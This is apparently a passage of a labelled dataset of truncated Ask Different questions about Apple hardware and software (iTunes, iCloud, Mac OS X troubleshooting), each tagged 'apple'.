I don't want to use bookmarks integrated into these browsers. Does anybody ... ",['apple'] "Title: iPod Classic 80GB, giving big Red Cross, any way to restore / format HDD? Body: iPod Classic 80GB, giving big Red Cross, any way to restore / format HDD? Can go in Diagnostic mode, can't check HDD - shows fault. Can go in DFU mode, unable to update, gives Red Cross. Not able to ... ",['apple'] "Title: MacBook Air awakes in the night (when a sleep)? Body: Just curious, i have a old USB mouse connected to my MacBook Air. I noticed that in the middle of the night (when the cover is closed an MBA is a sleep). The LED (red) inside the mouse is turned on ... ",['apple'] "Title: Using two bluetooth headsets for stereo audio in iOS Body: If I buy two of a certain bluetooth 3.0 single-ear headset with a2dp support, and wear one on each ear, is there any way for iOS to give me stereo audio (right channel goes to one headset via a2dp and ... ",['apple'] "Title: Burn .iso to USB on Mountain Lion Body: I'm trying to create a bootable USB for Windows using DiskUtility on OSX 10.8.4. Downloaded CentOS 6 for 32-bit and tried to use DiskUtility to create a bootable USB. This method failed with one of ... ",['apple'] "Title: Easily pretty print XML Body: Is there a way to quickly pretty print large XML files without needing an app? Online solutions don't allow for massive files and I'd like to do this without install more junk on my computer. ",['apple'] "Title: Device removed from icloud but photos are still being shared! Body: My brother linked my iphone(5) to his iphones iCloud (4S) and I deleted the apple id from my iphone and deleted it form icloud but a few of my pictures (only selective ones) showed up on his iphone ... ",['apple'] "Title: How to install and setup s3fs on OS X Lion Body: I already installed s3fs, created folder for mounting in /mnt/s3 then I created a file in /etc/passwd-s3fs within content BucketName:AccessKeyId:SecretAccessKey but I still can't access it, and the ... ",['apple'] "Title: Using previous alternate email as apple id Body: I have a serious problem here: I would like to change my apple id to the email address that I mainly use which happens to be the alternate email. So what I did was to change the alternate to another ... ",['apple'] "Title: How to create a slide show with photos from different iPhoto-libraries? Body: How do I create a slide show with photos stored in different iPhoto-libraries? Is it possible? Or do I have to import the photos to the same iPhoto library first? ",['apple'] "Title: Can't Delete Calendars Body: I'm having a bad time trying to delete a subscribed calendar. I am running OSX 10.8.4 on my iMac and IOS 6 on iPhone and iPad. Whenever I delete this calendar it reappears, usually within a few ... ",['apple'] "Title: iMessage photo to folder… when is it downloaded? Body: I am downloading a photo over iMessage. When I see the previewed thumbnail image, is the entire photo downloaded? If not, when I open the photo will it be completely downloaded to my phone? Like ... ",['apple'] "Title: Screen brightness on Macbook Air June 2012 running Windows 7 Pro x64 Body: Adjusting the screen brightness on my Macbook Air (June 2012) isn't working in Windows 7 Pro x64. I saw some comments online saying there's a regedit I can do to enable brightness, but that didn't ... ",['apple'] "Title: Shift and other random keys not working on external keyboard in Mac OS X 10.6.8 Body: I've been using a Microsoft-made external (ergonomic/split) keyboard, connected via USB, to my Mac laptop without a problem for years. My OS is 10.6.8. Out of the blue, random keys stopped working on ... ",['apple'] "Title: Terminal path bar style for prompt Body: I recently saw this in a demonstration online in someones Terminal: Notice the path-bar-like style of the prompt, any ideas how you can get that? Some kind of customisation I'd assume? ",['apple'] "Title: Seeing apps on multiple iPhones Body: My family has 3 iPhone 5's and we share one iTunes account. We sync on 2 different computers. I do not want all the same apps on my phone. Can I delete them from my phone without it deleting them ... ",['apple'] "Title: iCloud contacts not syncing correctly Body: I have enabled Google CardDAV contact synching some time ago and disabled iCloud (contacts). Now I wanted to reenable iCloud synching too... I see some contacts on iCloud.com and on my Mac - probably ... ",['apple'] "Title: How to use a different mirror of macports rather than the offical mirrors? Body: How to use a different mirror rather than the mirrors in the list? Well, I mean not only download port.tar from other mirror, like the question here, but also download packages from a different ... ",['apple'] "Title: How To Enable The “Hidden” Debug Menu? [duplicate] Body: Following on from my previous question entitled ""What is the function(s) of the hidden Debug menu in Disk Utility?"". How do I enable the Debug Menu via Terminal command or otherwise, thereby ... ",['apple'] "Title: Use AppleScript to search Outlook contacts by category and email address Body: I have compiled a large list of recruiters. I continue to receive a lot of email from recruiters and would like to automate the creation of a new contact entry. I'm having difficulty with the ... ",['apple'] "Title: Macbook Pro Mid-2010 15"" is not charging with dim green light Body: I have spilled a bit of water on the keyboard of my Macbook Pro this Monday. It continued working just fine. So, I took it home, and 2h later, when I pluged the charger in, the light turned into a ... ",['apple'] "Title: Can I update both of my mac with the single purchase of OSX Body: I would like to purchase OSX 10.8(Mountain Lion) using my apple account. The question is am having two mac computers with snow leopard, Can I update both of my mac with the single purchase? any ... ",['apple'] "Title: Unlock locked / readonly Word 2011 document Body: I've got a Word .docx file which is ""readonly"" in Word (not in Finder->Info). Usually this problem (this time it occurred after a crash) would self-resolve after a while or I could delete a lock ... ",['apple'] "Title: Can the images in ~/Library/MobileDevice be safely deleted? [duplicate] Body: After restoring iOS onto several devices via Xcode, I notice several ~1 GB ipsw files in ~/Library/MobileDevice/Software Images. Will these files be cleaned up automatically? If not, can I safely ... ",['apple'] "Title: Printing with Bluetooth from iPad Body: I just purchased the HP 150, and I live in an area that cannot get Internet, and unless it is an ""I"" device, there is no signal, even for 3G, 4G, or even LTE; All of which work with iPhones and iPads. ... ",['apple'] "Title: Setting up environment variables for GUI apps? Body: Transitioning from Windows to the Mac. In Windows, I had a lot of environmental variables set-up that I used to speed up my work. Thinks like DEVDIR=C:\WORKDOCS\DOCS_jaravj\PROJ\dev ... ",['apple'] "Title: How can I write to a USB 3 flash drive faster than 15 mb/s? Body: I've got a USB 3 flash drive that should be able to write at about 50 mb/s, but I'm only able to write to it at 15 mb/s. I'm using a Mac Mini 2012, which has four USB 3 ports. I am connecting the ... ",['apple'] "Title: 10.8.4 Messages.app “A network error occurred” on AIM / Gmail Body: I am increasingly seeing an error where Messages.app will be unable to connect to AIM or a Gmail Jabber account, although Bonjour IM works fine along with all other IP services. Restarting seems to ... ",['apple'] "Title: how to downgrade from iOS 6.1.3 to iOS 5.1.1 in iPhone 4? Body: I have an iPhone 4. It has network lock from Switzerland. I want use Gevey SIM on this phone. Gevey SIM is more compatible for iOS 5.1.1. how to downgrade from iOS 6.1.3 to iOS 5.1.1 in iPhone 4? ",['apple'] "Title: In iPhone Configuration Utility error while exporting Configuration Profile Body: I create a Configuration Profile for VPN in iPhone Configuration Utility but when i try to export that profile i get error on console *** -[__NSPlaceHolderArray initWithObjects:count:]: attempt to ... ",['apple'] "Title: Mail.app : What do the padlock icons mean? Body: If I encrypt an email with S/MIME an icon showing a CLOSED padlock is displayed under ""Security"". However, if I encrypt using OpenPGP it's an OPEN padlock icon. Both are followed by the word ... ",['apple'] "Title: Apple Software RAID: Add disk to array online Body: I recently purchased a WD Thunderbolt Duo, which has two 4 TB drive, now running in RAID 0 with Apple Software RAID. My question is simple, if I am to get another Thunderbolt Duo next year, is it ... ",['apple'] "Title: disk full - Mac OS won't boot Body: My friend has a problem getting Snow Leopard to run because the disk is completely full. I suggested getting into command line mode (CMD+S on boot) and delete some things, but it didn't work (nothing ... ",['apple'] "Title: OS X accessing external drive Body: I noticed that when I plug in an external NTFS HDD something is reading it and it doesn't stop for a long time... I checked with fs_usage and saw this: 23:26:54.189404 read F=5 ... ",['apple'] "Title: Why aren't characters being sent with synergy? Body: I've used synergy within various configurations for many years. I just set it up on a 10.8 Mac Mini (as server) and a 10.8 11"" MBA (as client). Both machines had this installed via homebrew (synergys ... ",['apple'] "Title: When opening my laptop, it's like command-tab was pressed Body: Every time I open my laptop, it acts as though command-tab was pressed. I have a new MacBook Air OSX v10.8.4. I noticed this with my previous MacBook Air as well. I'd like to open my laptop and have ... ",['apple'] "Title: Unlocked iPhone replacement Body: If an iPhone is locked, then unlocked and then replaced for a refurbished one in an Apple Store, will the new one remain unlocked? ",['apple'] "Title: Why does this Applescript often fail the first time, but always work after that? Body: The following Applescript opens a menubar app called QuickHue and then clicks a specified item in the menu. Often, when I use the applescript, it does nothing. But if I wait a moment or two and try ... ",['apple'] "Title: Reopen all the windows after shutdown Body: There was once a feature that reopened all the windows on startup. Is it possible to enable that somehow, even the checkbox ""Reopen all windows ..."" disappeared. Did this happen because of an update ... ",['apple'] "Title: Yet another headphone stuck in retina macbook pro question Body: as the title states, my headphone jack is useless because a headphone cable broke off in the jack. I can't get audio through the speakers because the computer thinks there're headphones plugged in. I ... ",['apple'] "Title: /etc/fstab file no longer working when writing on a NTFS disk [duplicate] Body: My Macbook Pro runs 10.6.8 and I have a NTFS 500G disk. In order to write into the disk, I had tried to edit the /etc/fstab file. It did work for years, but recently, I found it do not work and I ... ",['apple'] "Title: How do I remove a shared photostream from only one device? Body: I want to remove a photostream I'm subscribed to on one device to save space but I want to keep it on my other devices. How do I do that? ",['apple'] "Title: Remote Desktop Disconnects WiFi Body: I have a Mac Mini running OSX 10.7.5, on which I have enabled ""Screen Sharing"", with password. I have a laptop running Windows 7, with UltraVNC Viewer. When entering my credentials, it says ... ",['apple'] "Title: How can I uninstall the macports tex packages? Body: I have installed MacTex 2013 and it seems to be properly installed, except that the binaries used at are from macports. ""sudo port uninstall texlive"" will not do anything. No output from the command. ... ",['apple'] "Title: My Dashboard k-notes widget has suddenly turned all my notes blank. Any ideas? Body: I'm running OS 10.6.8 on Macbook pro . My Dashboard k-notes widget has suddenly turned all my notes blank. I tried (without success) using the solution posted here in response to the question below, ... ",['apple'] "Title: Pages: Linked columns Body: In Pages, I want to write a document that has two columns: One for the main text, and the other for annotations. For example: Say I write a paragraph in the main text talking about the many varieties ... ",['apple'] "Title: Does iTunes have a limit on the number of movies it can list? Body: I have a very annoying problem. Using HandBrake I have been able to rip and hereafter metatag all the family's 1500 movies for our iTunes library. Once, I couldn't find the movie I was looking for, ... ",['apple'] "Title: iTunes will not connect with Yamaha AV Reciever icon Body: I have just purchased a new Yamaha AV Receiver RX-V675 which is AirPlay capable. I have everything installed and configured as per directions in the Yamaha manual and according to Windows & and ... ",['apple'] "Title: How to fix 403 in Mac OS X built-in Apache? Body: I'm trying to set a local environment on my new MacBook Air 13"": built-in Apache with my own DocumentRoot, PHP, and MySQL. I usually update /etc/hosts just to run my local websites with a pretty ... ",['apple'] "Title: Is there a way to use the Intel GPU when running Windows 7 from Bootcamp? Body: Alright, so the problem I'm currently facing is that when I run Windows 7 on my MacBook Pro (Early 2011, 15"" 2.2GHz CPU) with OS X 10.8, I used Bootcamp 5 to install Windows 7. Windows does not ... ",['apple'] "Title: Can I recover all my photos? Body: I backed-up my mac, then I decided to format it. After recovering my photos from the backed-up library, the pictures are all messed up - not in the right order and some are missing/corrupted. Is ... ",['apple'] "Title: Cannot mount UDF formatted hard disk in OSX Body: I have formated a 2TB external disk with UDF filesystem in Ubuntu. The way I formatted it was: sudo dd if=/dev/zero of=/dev/sdc bs=2048 count=1 sudo mkudffs --media-type=hd --vid=myDisk ... ",['apple'] "Title: Send mail after found new items inside the folder Body: I am running an applescript application using stay open option. Function of the script is: the applescript will ask for ""javascript"" to run the below is my code. the functions of the javascript is ... ",['apple'] "Title: iPad keeps disconnecting from ad-hoc networks Body: I have a computer with Internet connection via Ethernet, it is Wi-fi capable so in order to share the Internet connection I had set up an ad-hoc network. It works fine with other computers, but if ... ",['apple'] "Title: Update process confusion! Body: I have spent the last few days trying to figure out exatly what the impact is with changing country and card details on my Apple ID to a new location. I changed from Ireland to the UK, and then I ... ",['apple'] "Title: Disable alt-tab (option-tab) instead of command-tab Body: I am using Mac OS X 10.8.4 on a Macbook Pro and somehow alt-tab is switching between the applications from Dock. I would like alt-tab to work within RDP (Windows) only. I don't know how (or if) did I ... ",['apple'] "Title: How to fix curl throwing “error setting certificate verify locations” Body: I'm a web developer and I have a MacBook4,1 with OS X 10.5.8. Important stuff like GitHub, homebrew, ruby and python doesn't work correctly, because curl doesn't work. It seems that the SSL ... ",['apple'] "Title: Is there a way to easily move between albums/artists when listening to music on iPhone/iPod touch Body: In the iPhone, whenever I select an artist or album to listen to, the play ends (or repeats) whenever the end of that artist or album is reached. I would like a way for the music to continue to the ... ",['apple'] "Title: Keynote and projection screen not synchronized Body: If I connect my iPad (2) to a beamer to show a keynote (version 1.7.2) presentation, my iPad skips the first slide. So the projection screen shows slide 1, when my iPad shows slide 2. What am I doing ... ",['apple'] "Title: about://(null) popup? Body: I encountered a popup similar to this one this morning while checking the weather report at http://touch.woodtv.com/forecast in Safari, though I have not been able to reproduce it. The title is ... ",['apple'] "Title: iPhone App to limit the data usage to 10 Gt? Body: Is there any application to limit the data usage to certain amount in iPhone? P.s. I tested Onavos such as here but it is very slow with me so uninstalled. Also Data Usage app but poor ratings. ",['apple'] "Title: on-demand launch agent restarting automatically Body: As title says I have created a on-demand launch agent that listens to socket and is launched on incoming connection. It works well and after it has done it's job I want to quit it. After quitting ... ",['apple'] "Title: HELP!! Activation Error [duplicate] Body: So recently downloaded ios7 beta 2, and i didnt like it at all, so i went on youtube to downgrade my phone back to ios6. they told me i had to restore my phone, i did just that. my phone went straight ... ",['apple'] "Title: How does Preview calculate to display PDF when I select View / Actual Size? Body: I switched from a Samsung 2493HM to a Crossover 2720MDP monitor. In testing, I opened PDF in OS X Preview (I am on Mountain Lion) and found that by default, the display size is very small, like this: ... ",['apple'] "Title: Disable loopback interface lo0 on 10.8.4? Body: For testing purposes (testing raw network speed over a number of cables) i have equippped my Mac Book pro with a Thunderbolt to Gigabit Ethernet Adapter besides the built-in gigabit ethernet ... ",['apple'] "Title: iBookstore and Kindle Body: I bought a book in the iBookstore to read on my iPad, but the iPad isn't that easy on my eyes. I recently bought a Kindle because my grandson said the e-ink would be better for reading. Is there a way ... ",['apple'] "Title: Got a blue screen and my mac crashed Body: I just got a blue screen and the computer crashed. I restarted the computer with the start button and it started, but much slower than usual. Now the mac is a little bit slower, my wallpaper was ... ",['apple'] "Title: Are there serious problems using a 2012 MacBook Air (13 inch) for web development? Body: Hello I am totally new to the Mac world and I am interested can I use the MBA for web dev. My needs are modest: Adobe Photoshop CS6 Sublime Text 3 MAMP/XAMPP I do not need to optimize for 3D ... ",['apple'] "Title: Is there a way to preserve app icon categories (folders) in iOS when factory resetting an iPhone? Body: I have a lot of them, and it takes literally hours to arrange them. Any shortcuts to make it easier? ",['apple'] "Title: Lion resolving DNS names when querying server directly, but not when used in a command or app Body: I've recently (as in minutes ago) added a hostname and reverse (A and PTR) records for a hostname on my internal network, using a Bind DNS server. For some reason, i can both dig and nslookup this new ... ",['apple'] "Title: VNC Server for non-Jailbroken iPhone/iPad Body: I'm looking for a VNC server for my iPhone/iPad that (assuming I know the IP address) I can connect directly to using a VNC client. To summarize the features I'm looking for: Non-hosted, i.e. no ... ",['apple'] "Title: Boot (closed) macBook Pro (2011) via Apple Remote? Body: I have a 2011 macBook Pro which I use mostly in clamshell mode and everything works perfectly fine as long as the macBook only goes to sleep and is not shut down, however if I do by accident shut it ... ",['apple'] "Title: Disabling all non-essential system resources Body: I am running a lab experiment on my Macbook Pro and I'm calculating the results of a program (physics simulation) so I need all of the available CPU I can get. Since the program that I have to run ... ",['apple'] "Title: Google Book Search for iOS? Body: Google's full text search and preview inside millions of scanned books is awesome, just as it has been for five years. Why isn't there an iOS app for viewing them? Any ideas of alternatives? The ... ",['apple'] "Title: How can I stop/start all Mac OS X Server services at once? Body: When doing maintenance on our OS X Server (10.8.4), I need to shut down all server services one by one. While it is not too much of a drag to click all services off, perform maintenance, and back on, ... ",['apple'] "Title: Is there a way to launch uTorrent and not display the GUI window? Body: Since uTorrent to my best of knowledge doesen't support a daemon/server mode, I would like to add it to launchd to start upon login (and restart after a potential crash), but without the app window ... ",['apple'] "Title: Setting up “HPN-SSH - High Performance SSH/SCP” on Mac OS X Body: As you'd expect from the name, HPN-SSH - High Performance SSH/SCP is a ""high performance"" patch of SSH/SCP. I've installed a newer version of OpenSSL via Homebrew (brew install openssl). I've ... ",['apple'] "Title: How to resolve netbios names with osx Body: Hi I'm new to osx and trying to resolve the netbios name of a windows machine. When I try to ping it I get the error cannot resolve hostname. When I use the command smbutil lookup %hostname% it will ... ",['apple'] "Title: Set the screen saver to 20 minutes Body: I set 20 minutes in System Preferences -> Desktop & Screen Saver, however the screen saver starts after 5 minutes. I tried to log out and restart the mac with no success. I should say that after ... ",['apple'] "Title: Make backup of Time Machine volume on Time Capsule Body: I have two laptops that back up via Time Machine to a Time Capsule. The shared volume on the Time Capsule contains two .sparsebundle files. Can I copy those .sparsebundle files to an external hard ... ",['apple'] "Title: XCode repeatedly hangs on launch Body: I'm new to OSX and running Mountain Lion in a Virtual Box VM. Xcode was running fine and I managed to create a simple Hello World App. I restarted the VM and when I tried to reopen my project Xcode ... ",['apple'] "Title: How to open itunes in ibooks author without the user leaving the ibooks? Body: In the iBook sample ""Bobby flay's barbecue addiction"" when tapping on a link to itunes within the book it opens an itunes modal dialog within the ibook. How can I do that in my ibook. When I add a ... ",['apple'] "Title: iPhone power on Screen loading graphics issue Body: My friends iPhone-4 is having an issue that when the sleep/wake button is pressed to wake from idle it loads slowly like light appears very slowly,from dark to bright.and there is a shiver in the ... ",['apple'] "Title: App Store showing update to app I have not installed with an Apple ID that is not mine Body: The App Store wants me to update the Twitter app using a different Apple ID that I don't recognize. I've never installed Twitter. When I enter my own Apple ID to either update or install that app, I ... ",['apple'] "Title: What port is this? Body: Questions: Is the display plug in the following picture indeed a Mini-DVI? Would this cable work? (I would use a regular DVI Male to Male with it)? Why? My friend wants to connect her Mac ... ",['apple'] "Title: Stress test a disk Body: I have a 1Gig disk that's about 3 years old. The other day it went south, with OSX telling me that it could not repair it and leaving it in read only mode. I was able to salvage everything on it. Now ... ",['apple'] "Title: Understanding install of mod_wsgi on apache terminal commands Body: I'm installing a django development environment on OSX. Apache is, of course, installed by default. From my (very limited) understanding of Macs, I don't believe there is preconfigured functionality ... ",['apple'] "Title: un-merge apple ID and icloud ID Body: So I had an xxxx@me.com ID for my iPod Touch and a xxxx@icloud.com ID for my iPhone. I was using both of them differently and separately. I was using the game center also separately for these 2 IDs. ... ",['apple'] "Title: Disallow wiping via Profile Manager Body: Is it possible to prevent end users from remotely wiping their iPad in Apple Profile Manager? I work at a school and I can foresee kids managing to steal each others passwords and remote wiping their ... ",['apple'] "Title: detect powernap from the command line Body: I like to plug in my macbook and SSH to it from my Windows machine to take advantage of my 27"" monitors, and do work in the shell and in Vim. Now i know that supposedly the machine is capable of ... ",['apple'] "Title: Reinstall bash on MacOS 10.7 Body: I have a MacBook Air where someone attempted to install this version of bash over MacOS's native one unknowingly. I attempted to fix this by removing the files created by the installer (the readme was ... ",['apple'] "Title: Is there any way to use iOS Remote to control an Apple TV without Home Sharing? Body: This is an office environment and while we all have iPhones and would like to use Remote with the Apple TV we don't want to all use the same Home Sharing account to do so. ",['apple'] "Title: Corsair GS 180 slowdown in Macbook Pro over a year's time Body: I installed a Corsair GS 180 SSD (revision 5.020000) in my Macbook Pro, around this time last year. (July 2012.) I ran the Blackmagic Disk Speed Test application, and ended up with: Write: 219.0 MB/s ... ",['apple'] "Title: Ditto's equivalent in Mac [duplicate] Body: can you help me find an equivalent clipboard management programs in OS X? I am used to how Ditto- clipboard manager (copy-paste stack) works and was unable to search for a replacement using ""ditto ... ",['apple'] "Title: iPhone Call Log/History Access - Existing Appstore App has access…But how? [closed] Body: I am trying to incorporate in my app the ability to count incoming/outgoing voice minutes. I though this was impossible, especially with getting approved in the App Store. However, I noticed that ... ",['apple'] "Title: Is there a way to enable “Services” menu for an application? Body: Almost every OSx Application has a service menú like this: But I've found that my HipChat for MAC doesn't have. I don't know if there is a setting that will enable this menu or it is something ... ",['apple'] "Title: Power Mac G4 doesn't start anymore Body: I have an old Power Mac G4 here that stopped working recently. It just doesn't start anymore when pressing the power button, not even a light or anything. It just doesn't react to the power button at ... ",['apple'] "Title: How to verify when disk drive detection is done (diskutil will list all drives) during boot process? Body: In a system where SATA disks are connected to a third party (Highpoint) controller, the wish is to create a bash shell script that will run every system boot. The shell script will test whether each ... ",['apple'] "Title: Connection to Mac OS 10.7 from Windows via VNC hangs on/after login screen Body: I'm connection to my Mac Mini from Windows, using RealVNC client (also tried TightVNC with the same behavior). And, Login Screen shows fine, but when I'm typing password sometimes it hangs. Also it ... ",['apple'] "Title: iPhone 4 has 3G connectivity but can't access internet Body: Just last week, my access to the internet over mobile data networks has stopped working. I've already talked to my operator, and they gave me a new SIM card and tested that 3G works in another phone ... ",['apple'] "Title: Screen freezes on MacBook Pro 2008 Body: Today, my screen froze suddenly, and since the I have this problem reoccurring in certain intervals. I ran /sbin/fsck -fy and got the following results. I assume this is something with the processor? ... ",['apple'] "Title: Can't download iTunes Body: I wish to download iTunes to my MS Windows (Windows 7 Home Premium, 64-bit) computer. So I surf to http://www.apple.com/itunes/download/ and discover a ""Download iTunes"" header. Beneath it is I fill ... ",['apple'] "Title: Why are Photo Stream process running, but photos only loads when iPhoto is opened? Body: I have a process called Photo Stream running, but I have been discovering that my photos in my photo stream only loads when iPhoto is opened. Why? ",['apple'] "Title: terminal search files by text that the file names contain Body: Let's say there a file called ""abc_deh.xyz"", what command do i use to find the location of that file in mac terminal by using solely the search term ""deh""? So, basically, I am asking how to search for ... ",['apple'] "Title: Can I clone my Time Machine backups folder to an image file, to essentially backup the entire Time Machine? Body: I'm interested in creating a clone of my Time Machine backups (the Backups.backupdb folder) so that my local backup strategy isn't entirely dependent on the external HD being alive. My hope is that I ... ",['apple'] "Title: Cannot Share Screen with MBA which is behind Airport Extreme Body: I'm trying to connect from iMac mid 2010 (10.8.3) to my MBA 2011 (10.8.3) using the Share Screen button in Finder. I'm able to connect, but unfortunately the connection is closed in a minute and it's ... ",['apple'] "Title: How can I display the date on actual photos taken with iPhone? Body: I need some photos that I have taken to be dated. The date must be displayed on the actual photo (in a similar fashion to how one would think of film photos), but I have no idea how to do this? My ... ",['apple'] "Title: Mac OS unable to boot with CD after Ubuntu installed Body: I had an issue with the MAC OS and couldn't repair the MAC os i have (10.4) on my intel duo core macbook. So i install Ubuntu 11 on my mac and works perfectly. I am selling my laptop now to get the ... ",['apple'] "Title: Writing to plist file multiple preferences same time Body: I need to write about 50 preferences to a .plist file. Is there any way to write just once to plist file? My current code has 50 defaults write lines. do shell script ""defaults write testing.testing ... ",['apple'] "Title: How can I search and listen to the search result in iTunes 11? Body: I really don't get the new search feature in iTunes 11. How can I for instance search for all the songs with a name containing ""strauss"" and listen to them? ",['apple'] "Title: How do I share my Internet connection wirelessly while using it on my MacBook Pro? Body: How do I share my Internet connection wirelessly with other gadgets while using it simultaneously on my MacBook Pro? I am using a Idea Netsetter 3g dongle for broadband Internet access. However, ... ",['apple'] "Title: How to remount an internal drive as read-write in mountain lion Body: Suddenly a secondary drive with HFS+ partition changed from read-write to read-only. How can I use the mount command to reverse it in mountain lion? ",['apple'] "Title: In the app store how do you determine if an app is iCloud compatible before purchase? Body: A few months ago on the Arqade site I asked if the iOS version of Chrono Trigger put save games in the cloud. DCol provided a great answer detailing how to check if iOS apps you own backup to the ... ",['apple'] "Title: How to use environment variables in applescript Body: I'd like to use my environment variables, which were defined in my environment.plist file, in my applescript. How do I do that, for instance: log ""Glassfish Home: "" & AS_HOME Where AS_HOME is ... ",['apple'] "Title: List of GNU packages for homebrew Body: My team is working with Mountain Lion MacBook Pros, and we're using the GNU CLI tools, like wget and watch, intensively. Whenever a new team member joins us, we tell the new hire to install homebrew ... ",['apple'] "Title: Firmware Update 1.0 for MacBook Air 2012 Not Installing Body: The firmware update 1.0 for my MacBook Air (2012) is not installing. I do not have the disk encrypted and I have tried an SMC reset. I also let the mac sit for a minute after shutting down before ... ",['apple'] "Title: Ethernet indicator in OSX menu bar Body: I am using OSX 10.7 When I move between different ethernet networks (e.g., at work using ethernet on an external display, at home using thunderbolt ethernet), the ethernet does not always connect. ... ",['apple'] "Title: iphone 4 verizon cdma unlocked in india and uprgaded to newer version cydia not installed Body: I have an iPhone 4 (CDMA), bought it to India and unlocked unofficially by jailbreaking. Recently I upgraded to iOS 6.1.2, and now Cydia is missing. Everything else is working fine; I can make calls, ... ",['apple'] "Title: Would it be fine to buff the panel of LCD? Body: I have the panel of Macbook 2008 edition opened with me. The screen has a lot of scratches. Would it be fine if I buff it? Please guide. Thanks ",['apple'] "Title: Kill processes automatically that get over x % CPU Body: I have a (rather annoying) process on my iMac that tends to get out of control. Unfortunately, it's not possible to get rid of it. Much as I want to. This process is fine at first - using 1-2 % of ... ",['apple'] "Title: Google Calendar periodically refusing to sync with Calendar on OS X 10.8 Body: I use Calendar on OS X 10.8 and link my google calendars to it. Periodically (and I can't detect a pattern) the calendar stops syncing with Google, with an error message of the form ... ",['apple'] "Title: Restoring <= 10.6.8 lid-open Clamshell Mode in Mountain Lion? Body: In Snow Leopoard and earlier, you could open the lid of your laptop after you had activated clam shell mode and the display would remain inactive until you disconnected the external monitors. In ... ",['apple'] "Title: How do I set the default RSS reader in Safari 6 on Mountain Lion Body: With Mountain Lion and Safari 6, there is no built in RSS reader and Safari prompts you to find and install one from the Mac App Store if you don't have one. So I installed a few different RSS ... ",['apple'] "Title: Is there any way I can hide all files and folders from the OS X Desktop, but leave the Hard Drive(s), CD's, External Drives, Network Drives there? Body: I was hoping there was a way I would be able to make all folders and files hidden on the OS X Desktop, but leave the Hard drive(s), network drives, CD's/DVD's, etc. But if I was to go into the Desktop ... ",['apple'] "Title: Any program that can automatically split photos in one scan? Body: I am about to scan my photo collection. To save time, I would like to scan multiple photos at once. How can I automate the splitting of photos in a single scan? ",['apple'] "Title: How can I set up a shell script as a wrapper to the main executable of an app? Body: I have an application that I want to launch via a shell script that does some setup and then launches the app itself with some specific options. Ideally, this script would be run whenever the ... ",['apple'] "Title: Why Does Retina Display Freak Out with Blur Filtering on Certain Apps Body: On a retina-display Macbook Pro, I get the behavior shown in the below screenshots when I use applications that have some form of filtering and I have the Macbook Pro hooked up to an external display. ... ",['apple'] "Title: window focus changes after OS X comes out of screensaver Body: let's say i have two application windows running, app 1 and app 2. if app 1 is the one active with focus now, and the screensaver kicks in, the screen will turn on with app 2 in focus now, in front of ... ",['apple'] "Title: Cannot delete iTunes U from iPod classic Body: Device: iPod classic, 160GB // iPod software: 1.12 // iTunes version: 11.0.3 I have a substantial number of iTunes U files on my iPod classic, taking up an enormous amount of space. I am unable to ... ",['apple'] "Title: Final Cut Pro 7 Freezes Body: I use Final Cut Pro v7.0.3 for all my video editing and I've noticed lately that it freezes whenever I try to play from the timeline. Restarting the computer helps, but only for a bit. I was wondering ... ",['apple'] "Title: how do you change mac terminal theme so that it doesn't go back to 'basic' every time you open it Body: I just can't find any way to change the theme and have it applied permanently. I really need some guidance here, all I want is to change to another darker theme other than the default 'basic' theme, ... ",['apple'] "Title: Signing a Mac App Body: I'm working on getting a Mac app signed. It won't be available in the app store. I've executed the codesign executable properly, I believe, but I still get the Gatekeeper warning. Simple question: ... ",['apple'] "Title: iPhone: get Internet via Bluetooth Body: Is it possible to get the internet connection via Bluetooth (PAN) on an iPhone 3gs ? Note: I'm not asking about sharing the iPhone's internet connection via bluetooth to other devices; I want to do ... ",['apple'] "Title: Using an iPad for doing web development and programming Body: I have found that the iPad (with or without a Bluetooth keyboard) to be my preferred form factor for a computing device when I am on the go, be it commuting or traveling. So this may be crazy but I ... ",['apple'] "Title: Scrolling to the bottom of 500 emails Body: Is there an easy way to scroll up and down in the left hand pane in e-mail? I have my ipad set to display 500 emails and its a pain to get from an email at the bottom of the list to one back at the ... ",['apple'] "Title: How do I tranfer contacts from iphone to gmail? Body: How do I transfer my contacts from iPhone to Gmail ? I am not sure which is the correct site to ask this question, because it is a non-technical question. Can anyone guide me please? ",['apple'] "Title: Is there a keyboard shortcut to navigate full screen windows of the same application? Body: Or is there some app that will let me do it. This bug has been forever since Lion. Isn't it about time apple fixed it? ",['apple'] "Title: 2010 2.66 GHz 12 core Mac Pro not utilizing all 24 threads? Body: I just recently purchased a 2010 Mac Pro. I am wondering why all 24 threads never go past 50% usage when doing CPU intensive tasks. My coworker has a 2009 2.93 GHz 8 core Mac Pro and we both tried ... ",['apple'] "Title: How to diagnose/fix error when booting a G5 Body: I have an Apple G5 and it won boot anymore. When I boot my fan starts to spin like a madman and the screen stays grey. When I try to boot in Safe Mode using Shift-Command-V, I get the error message: ... ",['apple'] "Title: iPhone: Rule based email forwarding? Body: Is there a way to establish rules for mails processed on the iPhone (4s, iOS 6.1.3)? In my case, I am interested in automatically forwarding certain emails to another email account once I receive ... ",['apple'] "Title: OSX equivalent for ~/bin in Linux Body: When using Ubuntu I can save shell scripts in ~/bin. To launch them I just type the name of the script in the Terminal. Is there an equivalent solution for OSX? ",['apple'] "Title: 1st gen Time Capsule won't connect Body: I've just upgraded the hard drive in my first generation time capsule. It worked fine before, now the Airport Utility cannot find it (Mountain Lion). I've tried setting it up with an older macbook ... ",['apple'] "Title: How to resize Mac OS Extended (Journaled) partition after linux messed it up? Body: I've tried to use Ubuntu on my macbook pro (6,2), but it was a total and abject failure, mainly due to poor hardware support. So, I have given up on my little experiment and just deleted ubuntu and ... ",['apple'] "Title: iPhone does not sync events to Google Calendar Body: I am using Google Calendar on an up to date iPhone 4S. I also use my iCloud calendar. When I create an event in the Google Calendar in iOS's calendar app, the event is only visible on the iPhone. It ... ",['apple'] "Title: how to move windows between desktop screens Body: I like to use three fingers swipe right and left to move between different screens. But how should i move currently opened windows to particular desktops of my liking? ",['apple'] "Title: Deleted iCloud contacts keep coming back Body: Tried to delete several contacts on iCloud.com, but they keep coming back! I have tried several times with no success. These contacts are still on my device with iCloud sync enabled. If I don't want ... ",['apple'] "Title: Working Quick Look Plugins For Mountain Lion Body: Trying to find reliable info on working quicklook plugins for Mountain Lion. I'd like to at least find working ones for colour code syntax highlight in source code previews, and preview plain text ... ",['apple'] "Title: iphone (or ipad mini) as a helmet mounted display Body: I like to watch educational videos from coursera on my iphone or ipad mini while I walk. I was thinking of making a helmet mounted mount where I could essentially do without holding the ipad in my ... ",['apple'] "Title: Connect two iMacs and an LED Cinema Display to MacBook Pro Body: In my office I have a brand new 